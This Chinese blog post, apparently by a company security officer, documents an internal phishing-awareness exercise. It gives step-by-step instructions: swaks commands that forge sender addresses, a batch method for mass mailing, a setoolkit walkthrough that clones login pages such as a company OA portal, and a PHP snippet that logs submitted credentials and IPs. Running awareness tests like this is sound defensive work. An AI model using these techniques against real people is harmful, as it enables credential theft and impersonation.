记一次企业安全意识宣传活动——钓鱼邮件
国家网络安全宣传周每年9月底举办,为了向上配合、向下宣传,并普及本公司的安全意识活动,我们也在10月份举办了安全宣传周活动,微信公众号、各处海报、食堂现场问答活动等等不说了,我负责技术上给人以风险意识教育,所以计划从钓鱼邮件入手。在入手前,我们找了第三方做这件事。但搭好了才知道,第三方只是实现了代理、群发功能,发件人邮件头和邮件中显示的是一模一样的。那就没意思了。还算什么钓鱼邮件。
于是我想自己做,之前用kali做过钓鱼wifi,简单检索之后发现kali自带setoolkit工具包,就它了。
理想很骨干,肉体很丰满。
我把能找到的钓鱼邮件教程都看了看,发现他们发起邮件来非常轻松,但我在实践的过程中,遇到了很多坑,结合我做信息安全这么多年的工作经历来看,对于浅尝辄止的教程,大量雷同的教程,一般大家都没有深入做,也都没有落到实践中,请真正的实践者小心评估工作量。
一、假冒邮件制作
我往公司邮箱发了一封假冒邮件,居然中文乱码。命令是:
swaks –body “中奖信息” –header “Subject:中奖信息” –to [email protected] –from “[email protected]”
但我往163邮箱发,没有乱码问题。
我改了kali的系统语言,改了console支持的编码,都不行。想来想去,只有公司邮箱编码有问题这一种情况了。但邮箱server那边的编码我改不了,我这边该怎么解决呢。
我检索到了“–data”这个参数的使用方法,支持对邮件头的直接转发。这就需要你发一封伪造好subject和body内容的邮件到自己可控的邮箱里,比如163(163有一个不好的地方,就是邮件最下面出现的广告,也会一并算到邮件头中,还需要对base做裁剪,不如使用其他邮箱方便。),然后查看更多-查看信头,删掉received、from这些行,否则会和swaks命令中的to、from冲突,收到邮件的时候,发件人、收件人会变成不可识别。邮件头中的to这一行可以保留,但应该修改为你要发送到的邮箱地址。之后保存成文本,比如youjiatou.txt。
最后使用以下命令发送:swaks –data youjiantoux.txt –to [email protected] –from [email protected],成功。
事实上,我还有一台kali 1.1版本的电脑,2015年的版本,它就可以直接使用–body “促销活动” –header “Subject:促销活动” 带中文的邮件,很是神奇,尚未深究两者的差异根源。
邮件群发:Linux的批处理很方便,把收件人用excel表格的方式处理好,形成一批swaks的命令,放到一个文件里,比如qunfa,terminal输入shqunfa,chmod777 qunfa,./qunfa。搞定。
二:钓鱼网站制作
假冒邮件发完了,如何搭建钓鱼天猫网站呢。明眼都能看出来,则个叫www.tma11.com的网站,具有欺骗性。我不会真的申请这样一个域名(真钓鱼的话是真的会申请类似这样的迷惑人的域名的),所以这个链接背后是一个全公司都能访问到的地址。
做实验的时候,我使用的是笔记本上装vmware虚拟机,采用NAT共享主机ip地址的方法,kali顺利入网。
奈何公司没有办公网络的wifi,网线仍然是公司网络准入控制的一环,钓鱼网站该怎么才能被访问到呢?
不管用什么方案,钓鱼网站服务器的ip总是要固定的,kali的修改方式如下:
/etc/network下的interfaces文件,使用哪个网卡就修改哪个网口的配置,我这里是eth0,增加如下配置:
auto eth0
iface eth0 inet static //配置eth0的静态地址
address 192.168.xxx.xxx //设置eth0的IP地址
netmask 255.255.255.0 //配置eth0的子网掩码
gateway 192.168.0.xxx //配置默认网关
还需要修改DNS配置,Kali的 DNS服务器地址使用文件“/etc/resovl.conf”进行配置,增加配置如下:
domain
nameserver 101.x.x.x
nameserver 102.x.x.x。
配好了之后,一定要重启/etc/init.d/networkingrestart。
为了把钓鱼网站接入网络,有很多方案:(1)笔记本插网线,vmware网络适配器选择NAT模式,这个需要配置主机转发,才能实现其他主机对虚拟机web服务器的访问。可以参考http://blog.csdn.net/mecho/article/details/24396065。如果不行还需要关一下笔记本、虚拟机的防火墙。(2)找一台办公机,使用wifi共享的软件或usb随身wifi搞出一个接入点,违反了公司制度。而且,除了那台办公机之外,其他机器无法访问到我的kali上。该方案行不通。(3)如果公司有wifi,虚拟机桥接,直接连到互联网即可。但需要给笔记本再连接一个网卡,如R8187的USB网卡,供里面的虚拟机使用。
接好了网络之后,使用setoolkit工具克隆网站,不过你也可以自己写网页。克隆的步骤如下:
1、 terminal输入setoolkit,选择1:
2、选择2:
3、选择4,标签钓鱼
4、选择2,输入假冒网站所在的ip,我这里就写了本机ip,然后输入你想要骗人的网站,自己公司的OA登陆页面啊、常用的互联网网站啊等等。
5、回车之后,提示在/var/www下面有内容。左边宿主机打开页面,输入的用户名密码,右边www文件夹下面的harvestxxx.txt里都能够看到。
6、打开www文件夹,打开index2.html文件,看到文件中插入了这样一段话。就是这句话起了作用,都发给了post.php。
7、当然,post.php文件你也可以进一步改造。比如加一个文本、图片、记录客户机ip等等。这样也好方便统计哪位员工中招了。
<?php $file = ‘harvester.txt’;$ip=$_SERVER["REMOTE_ADDR"];file_put_contents($file,json_encode($_POST).$ip.”\n\r”,FILE_APPEND);echo “phished”;?>
当然,你也可以把这些文件放到另一台服务器上,只要配置好了ip,直接拷贝过去就行了。我后来做了一个测试,在windows server上面安装了phpstudy,把www下面的几个文件拷贝过去,非常方便。
文章开篇说,看教程非常简单,实际操作起来却总是这也不对那也不对,其实都是没有实际上过手导致的,只是知道若干名词和功能,嘴上跑火车都会。在这里做记录,也方便自己后续工作的总结。切勿浅尝辄止,切忌看上去很美。